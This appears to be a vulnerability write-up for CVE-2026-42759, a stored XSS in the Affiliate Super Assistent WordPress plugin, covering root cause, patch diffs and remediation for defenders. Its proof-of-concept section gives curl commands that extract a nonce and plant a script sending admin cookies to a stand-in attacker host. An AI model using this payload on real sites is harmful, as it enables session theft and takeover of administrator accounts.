CVE-2026-42759: Stored XSS in Affiliate Super Assistent Plugin (CVSS 7.2)
Table of Contents
CVE-2026-42759 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Affiliate Super Assistent WordPress plugin. An unauthenticated attacker can poison the plugin’s error log with a malicious script. That script executes in any administrator’s browser the moment they open the plugin’s Log tab.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Affiliate Super Assistent |
| Plugin Slug | amazonsimpleadmin |
| CVE ID | CVE-2026-42759 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 1.10.1 |
| Patched Version | 1.10.2 |
| Published | May 30, 2026 |
| Researcher | Nguyen Ba Khanh |
| Wordfence Advisory | Link |
Description
The Affiliate Super Assistent plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Technical Analysis
How Async Mode Exposes the Nonce to Unauthenticated Users
Affiliate Super Assistent supports loading Amazon product data asynchronously via AJAX. When this mode is active, the plugin renders the [asa] shortcode with an inline <script> block on any front-end page. Inside that script is a valid WordPress nonce.
File: AsaCore.php (line 3792–3813)
$nonce = wp_create_nonce('amazonsimpleadmin');
$ajax_url = admin_url( 'admin-ajax.php' );
// ...
$output .= "<script type='text/javascript'>jQuery(document).ready(function($){" .
"var data={action:'asa_async_load',asin:'$asin',tpl:'$tpl'," .
"params:'$params',nonce:'$nonce'};" .
"$.post(ajaxurl,data,function(response){jQuery('#$containerID').html(response)})" .
"});</script>";
Any unauthenticated visitor who loads a page containing the [asa] shortcode can read this nonce from the page source. With a valid nonce, they can call the asa_async_load AJAX endpoint — which is also registered for non-logged-in users.
File: include/asa_ajax_callback.php (lines 3–4)
add_action('wp_ajax_asa_async_load', 'asa_async_load_callback');
add_action('wp_ajax_nopriv_asa_async_load', 'asa_async_load_callback');
The wp_ajax_nopriv_ prefix confirms this endpoint is accessible without authentication.
The Vulnerable logError() Function — Unsanitized HTTP Referer Stored to Database
When the plugin calls the Amazon PA-API to look up a product and the request fails (for example, because the attacker sends an invalid ASIN), it calls logError(). This function reads $_SERVER['HTTP_REFERER'] directly and stores it in the database without any sanitization.
File: AsaLogger.php (lines 55–60)
public function logError($error)
{
$location = site_url($_SERVER['REQUEST_URI']);
if (strstr($location, 'admin-ajax.php') !== false) {
$location = $_SERVER['HTTP_REFERER']; // ← raw attacker input, no escaping
}
// ...
$this->log($error['Code'], self::LOG_TYPE_ERROR, $extra, $location);
}
Because the request targets admin-ajax.php, the condition is always true for AJAX requests. The attacker controls $_SERVER['HTTP_REFERER'] through the Referer HTTP header. The log() method uses $wpdb->prepare() for the SQL query, which prevents SQL injection — but the raw value still lands in the database.
The Vulnerable column_default() — Log Table Renders Raw HTML
When an administrator opens the Log tab, AsaLogListTable::column_default() fetches every row from the database and returns column values directly to the page. The location column is returned with no HTML escaping.
File: AsaLogListTable.php (lines 99–107)
public function column_default( $item, $column_name )
{
switch( $column_name ) {
case 'id':
case 'message':
case 'location': // ← raw value echoed into the admin page
case 'timestamp':
return $item[ $column_name ];
break;
// ...
}
}
WordPress renders the return value of column_default() directly inside the admin table. Because location holds the raw attacker-supplied Referer, any script tag in that value executes in the administrator’s browser.
Execution Path — End to End
- Admin enables “Error Handling” and “Asynchronous mode (AJAX)” in plugin settings.
- A page is published with the
[asa]ASIN[/asa]shortcode. - An unauthenticated attacker loads that page and reads the embedded nonce from the
<script>block. - The attacker sends a POST to
admin-ajax.phpwithaction=asa_async_load, the extracted nonce, an invalid ASIN, and a maliciousRefererheader. - The PA-API call fails →
getLogger()->logError($error)is called. logError()stores the rawReferervalue in thewp_asa_logtable aslocation.- An administrator visits Settings > Affiliate Simple Assistent (ASA1) > Log.
AsaLogListTable::column_default()returns the unescapedlocationvalue.- The malicious script executes with full administrator privileges.
Proof of Concept
Disclaimer: This proof of concept is provided for educational purposes and authorized security testing only. Do not test on systems you do not own or have explicit permission to test.
Prerequisites
- Affiliate Super Assistent ≤ 1.10.1 installed and active
- Error Handling enabled (Settings > Affiliate Simple Assistent > Options tab)
- Asynchronous mode (AJAX) enabled (same settings page)
- At least one published page contains the
[asa]ASIN[/asa]shortcode
Step 1 — Extract the Nonce
Visit any public page that renders the [asa] shortcode in async mode. Read the nonce from the inline script in the page source.
TARGET="https://victim.example.com/some-product-page/"
NONCE=$(curl -s "$TARGET" \
| grep -oP "nonce:'[^']*'" \
| head -1 \
| grep -oP "'[^']*'" \
| tr -d "'")
echo "Nonce: $NONCE"
Step 2 — Inject the XSS Payload via Referer Header
Send an AJAX request to admin-ajax.php with an invalid ASIN to trigger an error log entry. Use a malicious script as the Referer header.
XSS_PAYLOAD='<script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script>'
curl -s -X POST "https://victim.example.com/wp-admin/admin-ajax.php" \
--data "action=asa_async_load&nonce=${NONCE}&asin=INVALID_ASIN_XSS_TEST" \
--header "Referer: ${XSS_PAYLOAD}"
The payload is now stored in the wp_asa_log table as the location field.
Step 3 — Wait for Admin to View the Log
When an administrator navigates to Settings > Affiliate Simple Assistent (ASA1) > Log, the table renders the stored location value without escaping. The browser executes the injected script.
Step 4 — Verify
The admin’s session cookies arrive at attacker.example.com/steal. The attacker now has full authenticated access to the WordPress admin panel.
Patch Analysis
The patch in version 1.10.2 fixes both the storage and the rendering sides of the vulnerability.
Fix 1 — Sanitize the Referer Before Storing (AsaLogger.php)
-$location = $_SERVER['HTTP_REFERER'];
+$referer = isset($_SERVER['HTTP_REFERER']) ? (string) $_SERVER['HTTP_REFERER'] : '';
+// Referer is attacker-controlled and was previously stored unsanitised,
+// enabling stored XSS once an admin viewed the log page. esc_url_raw()
+// rejects unsafe schemes (javascript:, data:, ...) and strips control chars.
+$location = esc_url_raw($referer);
esc_url_raw() strips disallowed URL schemes (such as javascript: and data:) and removes control characters. A raw <script> tag is not a valid URL scheme, so the function reduces it to an empty string, preventing the payload from reaching the database.
Fix 2 — Escape Output When Rendering the Log Table (AsaLogListTable.php)
case 'id':
+ return (int) $item[ $column_name ];
+
case 'message':
-case 'location':
case 'timestamp':
- return $item[ $column_name ];
- break;
+ return esc_html( (string) $item[ $column_name ] );
+
+case 'location':
+ // Stored value originates from $_SERVER['HTTP_REFERER'] / REQUEST_URI
+ // and must never be rendered as raw HTML. Render as escaped URL only.
+ return esc_url( (string) $item[ $column_name ] );
case 'extra':
- return nl2br($item[$column_name]);
+ return nl2br( esc_html( (string) $item[ $column_name ] ) );
Each column now uses the appropriate escaping function: esc_url() for URL values and esc_html() for plain text. Even if an unsanitized payload were already present in the database from before the update, the output escaping prevents it from executing.
Timeline
| Date | Event |
|---|---|
| May 30, 2026 | Wordfence publishes the vulnerability advisory; patched version 1.10.2 available |
| June 1, 2026 | Advisory last updated |
| June 7, 2026 | This blog post published |
Remediation
Update the Affiliate Super Assistent plugin to version 1.10.2 or later immediately.
- In your WordPress admin, go to Plugins > Installed Plugins.
- Find Affiliate Simple Assistent (ASA1) and click Update Now.
- Alternatively, download version 1.10.2 from wordpress.org.
If you suspect your site was targeted before updating, clear the plugin’s error log (Settings > Affiliate Simple Assistent > Log > Clear log) and audit your administrator accounts for unauthorized changes.